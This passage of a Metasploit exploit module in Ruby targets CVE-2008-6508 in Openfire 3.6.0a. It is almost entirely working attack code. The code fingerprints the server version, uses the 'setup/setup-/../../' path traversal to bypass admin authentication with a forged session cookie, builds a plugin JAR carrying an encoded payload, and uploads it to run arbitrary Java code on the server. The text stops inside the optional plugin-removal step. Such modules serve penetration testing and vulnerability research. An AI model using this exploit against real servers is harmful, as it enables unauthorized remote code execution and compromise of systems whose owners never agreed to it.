By using this vulnerability it is possible to upload/execute a malicious Openfire plugin on the server and execute arbitrary Java code. This module has been tested against Openfire 3.6.0a. It is possible to remove the uploaded plugin after execution, however this might turn the server in some kind of unstable state, making re-exploitation difficult. You might want to do this manually. }, 'Author' => [ 'Andreas Kurtz', # Vulnerability discovery 'h0ng10' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2008-6508' ], [ 'OSVDB', '49663' ], [ 'BID', '32189' ], [ 'EDB', '7075' ], [ 'URL', 'http://community.igniterealtime.org/thread/35874' ] ], 'DisclosureDate' => 'Nov 10 2008', 'Privileged' => true, 'Platform' => ['java', 'win', 'linux' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # # Java version # [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], # # Platform specific targets # [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ] ], 'DefaultTarget' => 0, )) register_options( [ Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]), OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]), OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]), OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]), ], self.class) end def check base = target_uri.path base << '/' if base[-1, 1] != '/' path = "#{base}login.jsp" res = send_request_cgi( { 'uri' => path }) if (not res) or (res.code != 200) print_error("Unable to make a request to: #{path}") return Exploit::CheckCode::Unknown end versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/ if versioncheck.nil? then print_error("Unable to detect Openfire version") return Exploit::CheckCode::Unknown end print_status("Detected version: #{$1}.#{$2}.#{$3}") version = "#{$1}#{$2}#{$3}".to_i return Exploit::CheckCode::Safe if version > 360 # Just to be sure, try to access the log page path = "#{base}setup/setup-/../../log.jsp" res = send_request_cgi( { 'uri' => path }) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return Exploit::CheckCode::Unknown end Exploit::CheckCode::Vulnerable end def get_plugin_jar(plugin_name) files = [ [ "logo_large.gif" ], [ "logo_small.gif" ], [ "readme.html" ], [ "changelog.html" ], [ "lib", "plugin-metasploit.jar" ] ] jar = Rex::Zip::Jar.new jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508")) plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8)) plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8)) plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() } plugin_xml.gsub!(/PLUGINNAME/, plugin_name) plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc) plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author) jar.add_file("plugin.xml", plugin_xml) jar end def exploit base = target_uri.path base << '/' if base[-1, 1] != '/' plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8)) plugin = get_plugin_jar(plugin_name) arch = target.arch plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]] if (p = exploit_regenerate_payload(plat, arch)) == nil print_error("Failed to regenerate payload") return end plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack) plugin.build_manifest # Upload the plugin to the server print_status("Uploading plugin #{plugin_name} to the server") boundary = rand_text_alphanumeric(6) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; " data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n" data << plugin.pack data << "\r\n--#{boundary}--" res = send_request_cgi({ 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", } }) print_error("Warning: got no response from the upload, continuing...") if !res # Delete the uploaded JAR file if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", } }) if not res print_error("Error deleting the plugin #{plugin_name}.
